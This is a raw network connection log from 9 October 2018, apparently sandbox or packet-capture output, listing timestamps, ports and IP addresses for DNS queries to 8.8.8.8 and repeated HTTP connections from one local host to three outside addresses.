Okt 9, 2018 20:12:48.310482979 MESZ	60435	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:48.315797091 MESZ	53	60435	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:49.646157026 MESZ	49296	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:50.342829943 MESZ	64323	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:50.348581076 MESZ	53	64323	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:51.495764017 MESZ	55492	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:51.500694036 MESZ	53	55492	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:51.516760111 MESZ	53519	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:51.521491051 MESZ	53	53519	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:51.547785997 MESZ	57649	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:51.553309917 MESZ	53	57649	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:52.673783064 MESZ	61899	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:52.679090977 MESZ	53	61899	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:52.708050966 MESZ	52737	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:52.712919950 MESZ	53	52737	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:53.678837061 MESZ	54802	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:53.698863029 MESZ	53	54802	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:53.740155935 MESZ	63935	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:53.745876074 MESZ	53	63935	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:53.856101036 MESZ	49326	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:53.886657000 MESZ	49327	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:53.999186993 MESZ	80	49326	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:53.999528885 MESZ	49326	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.002938986 MESZ	49326	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.029267073 MESZ	80	49327	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.029704094 MESZ	49327	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.032847881 MESZ	49327	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.147128105 MESZ	80	49326	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.148664951 MESZ	80	49326	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.148803949 MESZ	80	49326	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.148833036 MESZ	80	49326	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.149043083 MESZ	49326	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.150306940 MESZ	49326	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.154298067 MESZ	49328	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.165755987 MESZ	80	49326	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.166054964 MESZ	49326	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.176213980 MESZ	80	49327	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.176433086 MESZ	80	49327	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.176652908 MESZ	80	49327	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.176803112 MESZ	80	49327	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.176979065 MESZ	49327	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.178302050 MESZ	49327	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.182245016 MESZ	49329	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.193595886 MESZ	80	49327	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.193998098 MESZ	49327	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.293766975 MESZ	80	49326	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.297498941 MESZ	80	49328	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.297777891 MESZ	49328	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.302229881 MESZ	49328	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.322487116 MESZ	80	49327	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.324616909 MESZ	80	49329	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.324879885 MESZ	49329	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.328155994 MESZ	49329	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.445969105 MESZ	80	49328	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.447257042 MESZ	80	49328	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.447448969 MESZ	80	49328	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.447478056 MESZ	80	49328	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.448050976 MESZ	49328	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.448574066 MESZ	49328	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.458661079 MESZ	80	49328	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.459227085 MESZ	49328	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.471615076 MESZ	80	49329	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.472321033 MESZ	80	49329	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.472482920 MESZ	80	49329	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.472507000 MESZ	80	49329	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.472640038 MESZ	49329	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.473443985 MESZ	49329	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.482309103 MESZ	51676	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:54.486912966 MESZ	80	49329	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.487076998 MESZ	49329	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:54.502145052 MESZ	53	51676	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:54.592819929 MESZ	80	49328	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:54.608741999 MESZ	49330	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:12:54.616261959 MESZ	80	49329	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:55.482851028 MESZ	57270	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:55.488305092 MESZ	53	57270	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:55.593116045 MESZ	49331	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:55.736526012 MESZ	80	49331	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:55.737174988 MESZ	49331	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:55.739305973 MESZ	49331	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:55.881896019 MESZ	80	49331	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:55.885181904 MESZ	80	49331	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:55.885343075 MESZ	80	49331	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:55.885368109 MESZ	80	49331	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:55.885534048 MESZ	49331	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:55.886035919 MESZ	49331	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:55.887557983 MESZ	49332	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:55.899034023 MESZ	80	49331	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:55.899235964 MESZ	49331	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:56.028928995 MESZ	80	49331	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:56.030235052 MESZ	80	49332	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:56.030616999 MESZ	49332	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:56.035207033 MESZ	49332	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:56.178781033 MESZ	80	49332	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:56.180012941 MESZ	80	49332	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:56.180318117 MESZ	49332	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:56.195753098 MESZ	80	49332	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:56.196054935 MESZ	49332	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:56.875504017 MESZ	80	49332	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:56.875916004 MESZ	49332	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:56.877106905 MESZ	49332	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:57.020972967 MESZ	80	49332	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:57.611757040 MESZ	49330	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:12:57.888092995 MESZ	65239	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:57.893119097 MESZ	53	65239	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:57.978523970 MESZ	49333	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.122684956 MESZ	80	49333	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.123131990 MESZ	49333	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.126185894 MESZ	49333	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.269002914 MESZ	80	49333	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.269782066 MESZ	80	49333	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.269941092 MESZ	80	49333	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.270106077 MESZ	80	49333	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.270323038 MESZ	49333	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.270744085 MESZ	49333	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.272130966 MESZ	49334	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.285368919 MESZ	80	49333	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.285651922 MESZ	49333	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.413475990 MESZ	80	49333	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.414287090 MESZ	80	49334	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.414629936 MESZ	49334	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.416320086 MESZ	49334	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.558253050 MESZ	80	49334	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.559875965 MESZ	80	49334	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.560041904 MESZ	80	49334	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.560195923 MESZ	80	49334	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.560480118 MESZ	49334	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.564440966 MESZ	49334	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.576622009 MESZ	80	49334	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:58.576944113 MESZ	49334	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:58.707060099 MESZ	80	49334	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:59.575381994 MESZ	60358	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:59.580171108 MESZ	53	60358	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:59.760185003 MESZ	49335	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:59.789256096 MESZ	65193	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:12:59.794677973 MESZ	53	65193	8.8.8.8	192.168.0.42
Okt 9, 2018 20:12:59.879888058 MESZ	49336	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:12:59.904179096 MESZ	80	49335	209.99.40.222	192.168.0.42
Okt 9, 2018 20:12:59.904592991 MESZ	49335	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:12:59.905889034 MESZ	49335	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.048470974 MESZ	80	49335	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.049582958 MESZ	80	49335	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.050262928 MESZ	80	49335	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.050388098 MESZ	80	49335	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.050580978 MESZ	49335	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.051500082 MESZ	49335	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.053900003 MESZ	49337	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.063714981 MESZ	80	49335	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.063973904 MESZ	49335	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.195394039 MESZ	80	49335	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.196780920 MESZ	80	49337	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.197089911 MESZ	49337	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.200879097 MESZ	49337	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.343842983 MESZ	80	49337	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.344885111 MESZ	80	49337	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.345045090 MESZ	80	49337	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.345073938 MESZ	80	49337	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.345299959 MESZ	49337	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.346601009 MESZ	49337	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.362909079 MESZ	80	49337	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:00.363209009 MESZ	49337	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:00.489870071 MESZ	80	49337	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.353074074 MESZ	55102	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:01.358428001 MESZ	53	55102	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:01.444806099 MESZ	49338	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:01.588283062 MESZ	80	49338	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.588609934 MESZ	49338	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:01.589708090 MESZ	49338	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:01.732796907 MESZ	80	49338	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.733798981 MESZ	80	49338	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.733937025 MESZ	80	49338	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.733967066 MESZ	80	49338	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.734150887 MESZ	49338	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:01.734651089 MESZ	49338	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:01.736035109 MESZ	49339	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:01.746922016 MESZ	80	49338	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.747224092 MESZ	49338	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:01.878772974 MESZ	80	49338	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.879333019 MESZ	80	49339	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:01.879676104 MESZ	49339	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:01.884387970 MESZ	49339	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:02.027875900 MESZ	80	49339	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:02.029659033 MESZ	80	49339	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:02.029798985 MESZ	80	49339	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:02.029824018 MESZ	80	49339	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:02.030023098 MESZ	49339	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:02.030596972 MESZ	49339	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:02.047622919 MESZ	80	49339	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:02.047911882 MESZ	49339	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:02.175923109 MESZ	80	49339	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:02.882008076 MESZ	49336	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:03.141505957 MESZ	53090	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:03.146943092 MESZ	53	53090	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:03.246388912 MESZ	49340	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:04.565612078 MESZ	52051	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:04.570408106 MESZ	53	52051	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:04.672847033 MESZ	49341	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:06.252233982 MESZ	49340	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:07.672286987 MESZ	49341	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:09.620979071 MESZ	60419	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:09.626161098 MESZ	53	60419	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:09.712740898 MESZ	58063	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:09.733179092 MESZ	53	58063	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:09.874525070 MESZ	49343	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:10.832560062 MESZ	57801	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:10.838227987 MESZ	53	57801	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:10.852200985 MESZ	59058	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:10.857079983 MESZ	53	59058	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:11.868926048 MESZ	54778	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:11.874124050 MESZ	53	54778	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:11.964890957 MESZ	49345	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.109150887 MESZ	80	49345	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.109575033 MESZ	49345	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.112878084 MESZ	49345	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.255495071 MESZ	80	49345	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.256346941 MESZ	80	49345	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.256906033 MESZ	80	49345	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.257028103 MESZ	80	49345	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.257200003 MESZ	49345	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.258049965 MESZ	49345	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.260135889 MESZ	49346	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.270867109 MESZ	80	49345	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.271069050 MESZ	49345	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.401640892 MESZ	80	49345	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.403603077 MESZ	80	49346	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.403898954 MESZ	49346	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.408072948 MESZ	49346	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.552759886 MESZ	80	49346	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.553591013 MESZ	80	49346	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.553802013 MESZ	80	49346	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.553962946 MESZ	80	49346	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.554218054 MESZ	49346	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.554718971 MESZ	49346	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.562825918 MESZ	64158	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:12.567883015 MESZ	53	64158	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:12.568016052 MESZ	80	49346	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.568217039 MESZ	49346	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:12.667723894 MESZ	49347	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:12.698259115 MESZ	80	49346	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:12.873552084 MESZ	49343	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:15.560957909 MESZ	51691	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:15.566448927 MESZ	53	51691	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:15.659354925 MESZ	49348	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:15.668633938 MESZ	49347	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:17.739216089 MESZ	51954	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:17.744265079 MESZ	53	51954	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:17.853435040 MESZ	49349	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:18.662982941 MESZ	49348	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:20.853106022 MESZ	49349	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:21.557730913 MESZ	53693	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:21.564529896 MESZ	53	53693	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:21.671169043 MESZ	49350	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:22.562073946 MESZ	56902	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:22.567971945 MESZ	53	56902	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:22.668632030 MESZ	49351	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:24.668311119 MESZ	49350	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:25.668195963 MESZ	49351	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:27.622075081 MESZ	59239	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:27.627015114 MESZ	53	59239	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:27.708169937 MESZ	64803	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:27.728491068 MESZ	53	64803	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:27.847136974 MESZ	49353	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:28.820622921 MESZ	58467	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:28.825922966 MESZ	53	58467	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:28.839313030 MESZ	63108	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:28.844968081 MESZ	53	63108	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:29.863996983 MESZ	63753	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:29.868890047 MESZ	53	63753	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:29.971781969 MESZ	49355	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.215186119 MESZ	80	49355	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.215598106 MESZ	49355	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.218229055 MESZ	49355	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.462027073 MESZ	80	49355	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.462533951 MESZ	80	49355	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.462845087 MESZ	80	49355	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.462997913 MESZ	80	49355	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.463210106 MESZ	49355	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.464622974 MESZ	49355	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.467950106 MESZ	49356	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.477433920 MESZ	80	49355	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.477868080 MESZ	49355	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.710616112 MESZ	80	49356	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.710916996 MESZ	49356	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.712734938 MESZ	49356	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:30.846467972 MESZ	49353	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:30.955964088 MESZ	80	49356	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.970462084 MESZ	80	49356	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:30.970670938 MESZ	49356	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:31.062681913 MESZ	49355	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:31.305438995 MESZ	80	49355	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:33.551009893 MESZ	80	49356	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:33.551451921 MESZ	49356	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:33.552587032 MESZ	49356	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:33.569866896 MESZ	51614	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:33.575448036 MESZ	53	51614	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:33.669749975 MESZ	49357	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:33.760020971 MESZ	64930	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:33.765731096 MESZ	53	64930	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:33.796056986 MESZ	80	49356	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:33.854782104 MESZ	49358	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:36.669990063 MESZ	49357	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:36.852926016 MESZ	49358	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:38.722095966 MESZ	59749	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:38.727741957 MESZ	53	59749	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:38.804095030 MESZ	49359	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:39.561218977 MESZ	63158	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:39.566477060 MESZ	53	63158	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:39.666426897 MESZ	49360	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:41.806305885 MESZ	49359	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:42.666363001 MESZ	49360	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:43.628345966 MESZ	65215	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:43.635042906 MESZ	53	65215	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:43.738189936 MESZ	49361	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:45.564343929 MESZ	59015	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:45.569735050 MESZ	53	59015	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:45.665633917 MESZ	49362	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:46.737488985 MESZ	49361	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:48.562760115 MESZ	50613	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:48.567945957 MESZ	53	50613	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:48.665565968 MESZ	49362	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:49.691315889 MESZ	53915	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:49.696995020 MESZ	53	53915	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:49.720503092 MESZ	57805	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:49.726285934 MESZ	53	57805	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:50.748429060 MESZ	59929	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:50.753985882 MESZ	53	59929	8.8.8.8	192.168.0.42
